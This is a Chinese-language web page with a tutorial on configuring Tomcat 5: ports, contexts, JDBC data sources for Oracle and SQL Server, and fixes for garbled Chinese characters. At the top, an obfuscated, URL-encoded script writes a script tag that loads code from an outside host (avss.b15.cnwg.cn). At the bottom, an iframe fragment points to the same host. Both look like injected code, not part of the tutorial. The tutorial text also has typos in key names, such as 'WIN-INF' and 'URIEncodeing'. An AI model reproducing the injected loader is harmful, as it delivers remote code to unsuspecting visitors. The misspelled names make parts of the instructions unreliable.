HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Tomcat5的基本配置说明
一、容器的配置(server.xml)
主目录/conf下server.xml文件是对web服务器的配置:
以下是一些常见的设置,http端口设置,找到:
<Connector port="8080" maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="20000" disableUploadTimeout="true" />
把8080端口改为你喜欢使用并且当前没有使用的端口,以后就可以利用该端口来访问测试用的网站了。
找到:
Host name="localhost" appBase="webapps" unpackWARs="true" autoDeploy="true"
xmlValidation="false" xmlNamespaceAware="false">
....
</Host>
在他们之间可以添加一个<Context>元素,如:
<Context path="/new" reloadable="true" docBase="E:/java/new" workDir="E:/java/new/work" />
其中path表示网络访问的上下文路径;reloadable表示可以在运行时在classes与lib文件夹下自动加载类包;docBase表示应用程序的路径,在Windows中如:docBase="E:/java/new";workDir表示是缓存文件的放置地点,可以方便跨平台移植时不用重编译,这样,应用程序就可以放到硬盘上的任意地方了。
还有一个方法也可以做到这点:编写一个xml文件,然后放到Tomcat/conf/Catalina/相应的网站(如localhost)/下,如上:编写一个文件new.xml内容如下:
<Context path="/new" reloadable="true" docBase="E:/java/new" workDir="E:/java/new/work" />
放到Tomcat/conf/Catalina/localhost/下,在浏览器打开:
http://localhost/new
就会转向到E:/java/new程序。
二、JDBC配置
Oracle示例:
<!-- Global JNDI resources -->
<GlobalNamingResources>
<!-- Test entry for demonstration purposes -->
<Environment name="simpleValue" type="java.lang.Integer" value="30"/>
<Resource name="jdbcDemo" type="javax.sql.DataSource"/>
<ResourceParams name="jdbcDemo">
<parameter>
<name>driverClassName</name>
<value>oracle.jdbc.driver.OracleDriver</value>
</parameter>
<parameter>
<name>username</name>
<value>username</value>
</parameter>
<parameter>
<name>password</name>
<value>password</value>
</parameter>
<parameter>
<name>url</name>
<value>jdbc:oracle:thin:@127.0.0.1:1521:uid</value>
</parameter>
<parameter>
<name>validationQuery</name>
<value>select count(*) from dual</value>
</parameter>
<parameter>
<name>maxWait</name>
<value>5000</value>
</parameter>
<parameter>
<name>maxActive</name>
<value>20</value>
</parameter>
<parameter>
<name>maxIdle</name>
<value>2</value>
</parameter>
</ResourceParams>
</GlobalNamingResources>
MS SQL Server示例:
<ResourceParams name="jdbcDemo">
<parameter>
<name>driverClassName</name>
<value>com.microsoft.jdbc.sqlserver.SQLServerDriver</value>
</parameter>
<parameter>
<name>username</name>
<value>username</value>
</parameter>
<parameter>
<name>password</name>
<value>password</value>
</parameter>
<parameter>
<name>url</name>
<value>jdbc:microsoft:sqlserver://127.0.0.1:1433;DatabaseName=dbName</value>
</parameter>
<parameter>
<name>validationQuery</name>
<value>select count(*) from sysobjects</value>
</parameter>
<parameter>
<name>maxWait</name>
<value>5000</value>
</parameter>
<parameter>
<name>maxActive</name>
<value>20</value>
</parameter>
<parameter>
<name>maxIdle</name>
<value>2</value>
</parameter>
</ResourceParams>
三、Tomcat5中文解决
对于中文系统主要有以下问题:
1、表单提交的数据,用request.getParameter("xxx")返回的字符串为乱码或为???;
2、直接通过url如:
http://localhost/test.jsp?name
=中国,这样的get请求在服务端用request.getParameter("name")时返回的也是乱码。
原因:
1、Tomcat的J2EE实现对表单提交即POST方式时处理参数采用缺省的iso-8859-1来处理;
2、Tomcat的get方式提交的请求对query-string处理时采用了和post不一样的处理方式。
解决办法:
首先给所有的JSP文件都加上:<%@ page contentType="text/html;charset=gb2312" %>
1、post方法:
先实现一个Filter,设置处理字符集为GBK。(在Tomcat的webapps/servlet-examples目录有一个完整的例子,参考web.xml和SetCharacterEncodingFilter的配置)。
1)、把$TOMCAT/webapps/servlets-examples/WIN-INF/classes/filters/SetCharacterEncodingFilter.class文件copy到应用程序/WIN-INF/filters下,如果没有filters目录,就创建一个。
2)、在web.xml里加入以下几行:
<filter>
<filter-name>Set Character Encoding</filter-name>
<filter-class>filters.SetCharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>GBK</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>Set Character Encoding</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
3)、完成。post方法还可以在编程时,在用到request的前面添加语句:
<%request.SetCharacterEncodin("GBK");%> 也可以解决中文问题。
2、get方式的解决办法:
1)、打开server.xml文件,找到区块:
<Connector port="80" maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
enableLookups="false" redirectPort="8443" acceptCount="100"
debug="0" connectionTimeout="20000" disableUploadTimeout="true"
URIEncoding="GBK" />
加上一句URIEncodeing="GBK",如上所示。
2)、重启Tomcat,乱码就可解决。
参考URL:
http://youngergo.bokee.com/viewdiary.10830811.html
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">